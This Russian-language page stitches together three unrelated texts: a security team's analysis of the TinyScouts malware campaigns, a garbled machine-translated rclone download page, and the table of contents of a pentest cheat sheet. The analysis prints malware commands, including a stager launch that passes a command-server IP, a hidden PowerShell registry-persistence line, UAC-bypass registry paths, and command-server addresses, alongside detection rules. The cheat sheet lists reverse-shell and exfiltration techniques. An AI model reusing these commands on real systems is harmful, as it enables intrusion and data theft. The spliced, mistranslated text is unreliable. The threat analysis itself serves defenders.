как атакует группировка TinyScouts / Хабр
Какое-то время назад мы начали фиксировать попытки заражения инфраструктур наших заказчиков ранее не известным вредоносным ПО. Оно доставлялось пользователям через фишинговые рассылки, иногда посвященные второй волне коронавируса, а иногда – четко «заточенные» под атакуемую организацию и связанные с ее деятельностью. Злоумышленники выдавали себя за различные существующие компании, например, «Норильский Никель», Российский союз промышленников и предпринимателей, Финаудитсервис и т.д.Примечательными были два аспекта деятельности группировки: во-первых, высокий уровень технических навыков злоумышленников, а во-вторых – вариабельность сценария атаки. Если ты как жертва не интересен – украдут пароли и зашифруют данные, а вот если твоя машина в интересном домене и имеет потенциал для более интересного развития атаки – загрузят Remote Admin Tool (RAT), написанный на PowerShell. Мы назвали группировку TinyScouts – по именам функций из вредоносного кода.
Скрипт в переменной toexecute загружает и запускает еще один обфусцированный PowerShell-скрипт c именем Decide (запрос к decide.php). Пример обфускации ниже:
Задача данного скрипта – проверить компьютер на соответствие некоторым параметрам и скачать следующую нагрузку с серверов. Фрагмент деобфусцированного кода приведен ниже:
Проверяется наличие TeamViewer, RDP сессий и факт вхождения в домен для того, чтобы определить, какую нагрузку необходимо скачать. В случае «интересной» системы загружается RAT, иначе – шифровальщик. В обоих случаях это обфусцированные в несколько слоев скрипты.
Августовская кампания (продолжается). Tor Hidden Services
В начале августа схема распространения изменилась: теперь в письмах была ссылка на скачивание sfx-архива, который содержит 4 файла:
- document. doc. Документ, который открывается для отвлечения внимания и не несет вредоносной нагрузки.
- 7za.exe. 7z- архиватор.
- wget.exe. Оригинальная утилита wget.
- service. JS-скрипт Stager 1
1) открывается document.doc
2) с помощью wget и 7z скачивается и распаковывается TOR и node.exe по следующим ссылкам:
www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) с помощью node.exe запускается скрипт Stager 1:
C:\Windows\System32\cmd.exe» /c if not exist hostname (node service 192.248[.]165.254)
Ниже представлен деобфусцированный скрипт Stager 1:
Скрипт service получает в качестве аргумента адрес сервера управления и при запуске создает TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). Стоит отметить, что при запуске скрытого сервиса TOR генерируется его имя (оно схоже с именем обычного ресурса в сети TOR, например, vkss134jshs22yl3li2ul.
Такая архитектура позволяет злоумышленнику получить доступ к зараженной системе, даже если она находится за NAT (главное условие – наличие интернета), и делает необязательным знание «белого» IP-адреса жертвы.
Первым запросом к поднятому web-серверу приходит скрипт Decider, задача которого заключается в определении факта вхождения компьютера в домен, а также получении имени пользователя. На этот раз проверки наличия TeamViewer и RDP отсутствуют:
После того как злоумышленнику будут отправлены результаты работы скрипта Decider, в сторону заражённой системы приходит веб-запрос, содержащий либо шифровальщик, либо RAT – в зависимости от интереса злоумышленника.
Общие модули в обеих кампаниях
Скрипт Stager 3
Основной скрипт содержит в себе 5 компонентов, закодированных в base64:- шифровальщик Encryptor
- файл Readme с сообщением от злоумышленников
- утилита WebBrowserPassView
- утилита Mail PassView
- Injector. Исполняемый файл, используемый для инжектирования WebBrowserPassView и Mail PassView в процесс svchost. Инжектирование выполняется обычным методом RunPE.
1) Запуск шифровальщика (функция Get-Stuff)
Ниже приведен фрагмент кода скрипта с запуском шифровальщика:
2) Обход UAC (для удаления теневых копий)
В коде присутствуют три техники: с помощью csmtp.exe, CompMgmtLauncher.exe и fodhelper.exe. Почитать про них можно здесь, здесь и здесь.
3) Удаление теневых копий
4) Запуск WebBrowserPassView и Mail PassView
Это утилиты от Nirsoft для извлечения паролей из браузеров и почтовых клиентов соответственно.
5) Отправка на сервер управления отчетов вышеупомянутых утилит.
Перед отправкой отчеты шифруются алгоритмом RC4 со сгенерированным ключом (4 символа):
Сам ключ помещается в начало сообщения:
Шифровальщик Encryptor
Сообщение readme выглядит следующим образом:Шифровальщик представляет собой исполняемый файл .NET без какой-либо обфускации. Файлы шифруются алгоритмом AES. Для каждого файла генерируется отдельный ключ и вектор инициализации, который затем шифруется с помощью публичного ключа RSA и помещается в зашифрованный файл. Главная функция шифровальщика приведена ниже:
RAT
Данный скрипт имеет несколько слоев обфускации. После расшифрования может выполнять следующие команды:- delete — самоудаление
- exec – выполнение команды PowerShell
- download – загрузка файла
- set_wait_time – изменить частоту запроса команд
- update_tiny – обновление RAT
- run_module – выполнить блок PowerShell-команд
- add_persist_module – добавить в систему модуль PowerShell, который будет выполняться при каждом запуске RAT.
- remote_persist_module – удалить модуль из списка автозагрузки RAT.
Способ закрепления
Для закрепления используются два ключа:1) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. В этот ключ помещается следующая команда (строка деобфусцирована):
cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»2) HKCU\SOFTWARE\Microsoft\Windows. Здесь хранится скрипт в значении с именем client_id. Таким образом, при запуске системы команда из Run ключа читает и запускает скрипт отсюда.
client_id – строка формата AppX + base64(hostname+username+campaign_id)
Функция закрепления выглядит следующим образом:
Расшифрованный скрипт, который помещается в Run:
Стоит обратить внимание, что код вредоноса не хранится ни на диске, ни в реестре: каждый раз он загружается заново вышеуказанным скриптом.
Команда add_persist_module
RAT имеет возможность добавлять PowerShell-модули, которые будут запускаться при каждом запуске. Для этого используется отдельный ключ реестра, в котором хранятся идентификаторы модулей. Во время запуска этот ключ проверяется, и вредонос делает запрос на сервер, скачивая все модули по их идентификаторам.При запуске вредоноса запускается функция Load-AllPersistModules для запуска всех добавленных модулей:
Код модулей тоже не хранится ни на диски, ни в реестре, как и основное тело RAT.
Взаимодействия с сервером
В код вшита константа CampaignID, которая используется при регистрации RAT при запуске (функция register-tiny) в качестве ключа шифрования. Алгоритм шифрования – RC4. После отправки первичной информации о системе в ответе сервера содержится ключ шифрования, который будет использоваться в дальнейшем с тем же алгоритмом.Технические аспекты обнаружения данных кампаний
Отвечая на вопрос, как детектировать то или иное, мы стараемся разделять все правила на две большие группы:- детект общесистемных аномалий,
- детект аномалий под конкретную компанию/семейство/инструмент.
Детект общесистемных аномалий
Взаимодействие с промежуточными серверами и СnС:В июльской кампании в части обнаружения и блокировки данной активности достаточно внести IP-адреса и доменные имена в списки блокировок, при этом не забыв поставить на мониторинг попытки обращения к ним.
В августовский компании с аспектом сетевого обнаружения стало сложнее, и тут стоит обратить внимание вот на что:
- Мы по-прежнему можем заблокировать и вынести часть IP-адресов и доменных имен на мониторинг;
- Наличие сетевой активности через TOR заставляет нас хранить и динамически обновлять списки IP-адресов, участвующих в построении этой сети. И тут для нас детектирующим правилом может быть обращение к IP-адресу из сети TOR;
- В классическом варианте, если веб-сервер стоит внутри инфраструктуры (у нас в случае с Stager 1 именно так), с точки зрения правил межсетевого экранирования SYN-флаг TCP-сессии приходит снаружи. В случае с TOR Hidden Service это не так. Там в игру вступают так называемые rendezvous point «места встречи» (по указанной выше ссылке есть все подробности) благодаря которым SYN-флаг TCP-сессии приходит изнутри, и простая блокировка входящих соединений не сработает.
Запуск кода на конечной системе
В качестве источника событий могут выступать два источника — Windows Audit и Sysmon.
Журнал PowerShell Script Block Logging
Журнал, в который попадают записи о запускаемых PowerShell-скриптах. Расположен по следующему пути: Appilication and Sevices Logs > Microsoft > Windows > Powershell > Operational.
Правила детекта, направленные на обнаружение используемых специфичных методов PowerShell, хорошо справятся с задачей обнаружения активности данных кампаний.
Журнал Security (или Sysmon)
Запуски процессов – 4648 (1)
Для детектирования данной активности необходимы классические правила по детектированию аномалий в отношении процессов отец-> ребенок. Данные связки хорошо отслеживаются в процессе запуска на хосте: сmd->mshta, cmd->powershell, mshta->powershell, rar->rundll32, node->wmic
Также может помочь правило по отслеживанию подозрительных параметров запуска процессов: powershell -e «base64»
Сетевое соединение процессов — 5156 (3)
Правило по детектированию сетевого соединения от процесса PowerShell на белые IP-адреса должно помочь обнаружить данную активность.
Также при августовской кампании хорошо помогут правила по детектированию внутреннего проксирования траффика на 127.0.0.1 (именно это делает TOR и local web server).
Запись в реестр – 4657 (13)
RAT, написанный на PowerShell сохраняет присутствие через распространенную ветку реестра HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, а значит, правило для мониторинга записи по этому пути – наш вариант.
Детект попыток обхода технологии UAC: изменения в следующих ветках реестра —
HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration
Детект аномалий под конкретную компанию/семейство/инструмент
Запуск кода на конечной системеЗапуски процессов – 4648 (1)
Тут необходимо правило по отслеживанию подозрительных параметров запуска процессов: C:\Windows\System32\cmd.exe» /c if not exist hostname (node service )
Запись в реестр – 4657 (13)
RAT, написанный на PowerShell, также сохраняет присутствие через ветку реестра HKCU\SOFTWARE\Microsoft\Windows, а значит, для обнаружения нам необходимо отслеживать запись значения «client_id» по этому пути.
Индикаторы компрометации:
a9a282a11a97669d96cce3feaeaaa13051d51880 8b20babe972f580f1b8f4aca4f7724f7866a595a ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017 2c687d52cc76990c08ec8638399f912df8fb72de c19b68e4b1cb251db194e3c0b922e027f9040be3 a2d4b0914d164f2088130bee3cdcf4e5f4765c38 18a28811dbbcc97757091ddb3e3ab6982b0bbfc9 192. 248.165[.]254 https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag https[://]hello.tyvbxdobr0.workers[.]dev https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev https[://]old-mud-23cb.tkbizulvc.workers[.]dev https[://]odd-thunder-c853.tkbizulvc.workers.dev/ http[://]45.61.138[.]170Авторы поста:
Игорь Залевский, руководитель отдела расследования киберинцидентов JSOC CERT
Аскер Джамирзе, эксперт по техническому расследованию отдела JSOC CERT
Карта сайта
|
загрузок Rclone
Rclone — это один исполняемый файл ( rclone
или rclone. exe
в Windows), который вы можете
просто загрузите в виде zip-архива и распакуйте в любое место по вашему выбору.
Подробнее см. в документации по установке.
Версия v1.63.0
Arch-OS | Windows | macOS | Линукс | .deb | об/мин | FreeBSD | NetBSD | OpenBSD | План9 | Солярис |
---|---|---|---|---|---|---|---|---|---|---|
Intel/AMD — 64 бит | ||||||||||
Intel/AMD — 32 бита | — | — | ||||||||
ARMv5 — 32-битный NOHF | — | — | — | — | — | |||||
ARMv6 — 32-разрядная версия | — | — | — | — | — | |||||
ARMv7 — 32-разрядная версия | — | — | — | — | — | |||||
РУКА — 64 бит | — | — | — | — | — | |||||
MIPS — обратный порядок байтов | — | — | — | — | — | — | — | |||
MIPS — Little Endian | — | — | — | — | — | — | — |
Вы также можете найти зеркало загрузки на GitHub.
См. также сборки Android. Они созданы как часть официального релиза, но не приняты как первоклассные сборки еще.
Загрузка и установка сценария
Чтобы установить rclone в системах Linux/macOS/BSD, введите:
судо -v ; завиток https://rclone.org/install.sh | судо баш
Для установки бета-версии выполните:
sudo -v ; завиток https://rclone.org/install.sh | sudo bash -s бета
Обратите внимание, что этот сценарий сначала проверяет установленную версию rclone, а затем не будет повторно загружать, если не нужно.
Бета-версии
Бета-версии генерируются из каждой фиксации освоить. Обратите внимание, что они называются
{Тег версии}.beta.{Номер фиксации}.{Хэш фиксации Git}.
напр.
v1.53.0-бета.4677.b657a2204
Тег версии
— это версия, которой станет бета-версия.
когда он будет выпущен. Вы можете сопоставить Git Commit Hash
с
журнал git. Большинство
последний выпуск будет иметь самый большой тег версии
и номер фиксации
и обычно находится в конце списка.
Некоторые бета-версии могут также иметь название ветки:
{Тег версии}-beta.{Номер фиксации}.{Git Commit Hash}.{Название ветки}
напр.
v1.53.0-beta.4677.b657a2204.semver
Наличие имени филиала
указывает на то, что это функция
разработка, которая в какой-то момент будет объединена с обычными бета-версиями
а затем в обычный выпуск.
Бета-версии не прошли полный интеграционный тест набор, как релизы. Однако полезно попробовать последнюю бета-версию, прежде чем сообщать о проблеме.
Обратите внимание, что rclone.org обновляется только релизы — чтобы увидеть документацию для последней бета-версии, перейдите на tip.rclone.org.
Загрузки для сценариев
Если вы хотите загрузить текущую версию (возможно, из script) с URL-адреса, который не меняется, вы можете использовать эти ссылки.
АрхОС | Windows | macOS | Линукс | .deb | об/мин | FreeBSD | NetBSD | OpenBSD | План9 | Солярис |
---|---|---|---|---|---|---|---|---|---|---|
Intel/AMD — 64 бит | ||||||||||
Intel/AMD — 32 бита | — | — | ||||||||
ARMv5 — 32-битный NOHF | — | — | — | — | — | |||||
ARMv6 — 32-разрядная версия | — | — | — | — | — | |||||
ARMv7 — 32-разрядная версия | — | — | — | — | — | |||||
ARM — 64 бит | — | — | — | — | — | |||||
MIPS — обратный порядок байтов | — | — | — | — | — | — | — | |||
MIPS — прямой порядок байтов | — | — | — | — | — | — | — |
Старые загрузки
Старые загрузки можно найти здесь.
Шпаргалки по пентесту — Red Team Notes
На этой странице
Разведка/перечисление
Извлечение активных IP-адресов из сканирования Nmap Передача и брутфорс
Захват баннера
NFS Экспортированные акции
Перечисление Kerberos
HTTP-грубая сила и сканирование уязвимостей
RPC / NetBios / SMB
Active Directory
Прослушивание порта (Powershell)
Получение доступа
Однослойные обратные оболочки
JDWP RCE
Работа с ограниченными оболочками
Интерактивные оболочки TTY
Загрузка/размещение файлов через формы загрузки WWW
Размещение файла на веб-узле с помощью команды PUT
Генерация шаблона полезной нагрузки и расчет смещения
Обход ограничений на загрузку файлов
Внедрение PHP в JPEG
Загрузка .htaccess для интерпретации .blah как .php
Взлом паролей
Генерация полезной нагрузки с помощью msfvenom Загрузка кода из Linux
Компиляция сборки из Windows
Локальный файл Включение в оболочку
Включение локального файла: чтение файлов
Удаленное включение файла Оболочка: Windows + PHP
SQL-инъекция в оболочку или бэкдор
Внедрение SQLite в оболочку или бэкдор
Консоль MS-SQL
Обновление неинтерактивной оболочки
Внедрение входного кода Python
Локальное перечисление и повышение привилегий
Проверка политик AppLocker 900 07
Applocker: Доступные для записи каталоги Windows
Найти доступные для записи Файлы/папки в Windows
Проверьте, включено ли ведение журнала Powershell
Проверьте журналы WinEvent на наличие SecureString
Проверьте WinEvent на время пробуждения/сна компьютера
Политики аудита
Проверить, работает ли LSASS в PPL
Двоичная эксплуатация с помощью ImmunityDebugger
Взлом ZIP-пароля
Настройка простого HTTP-сервера
Пользовательская функция MySQL alation
Docker Privilege Esclation
Сброс пароля root
Загрузка файлов на целевую машину
Эксфильтрация данных Whois
Отмена эксфильтрации данных
rlogin Эксфильтрация данных
Bash Ping Sweeper
Перебор строки XOR с 1-байтовым ключом в Python
Генерация неверных строк символов
Преобразование Python в исполняемый файл Windows (.
Ваш комментарий будет первым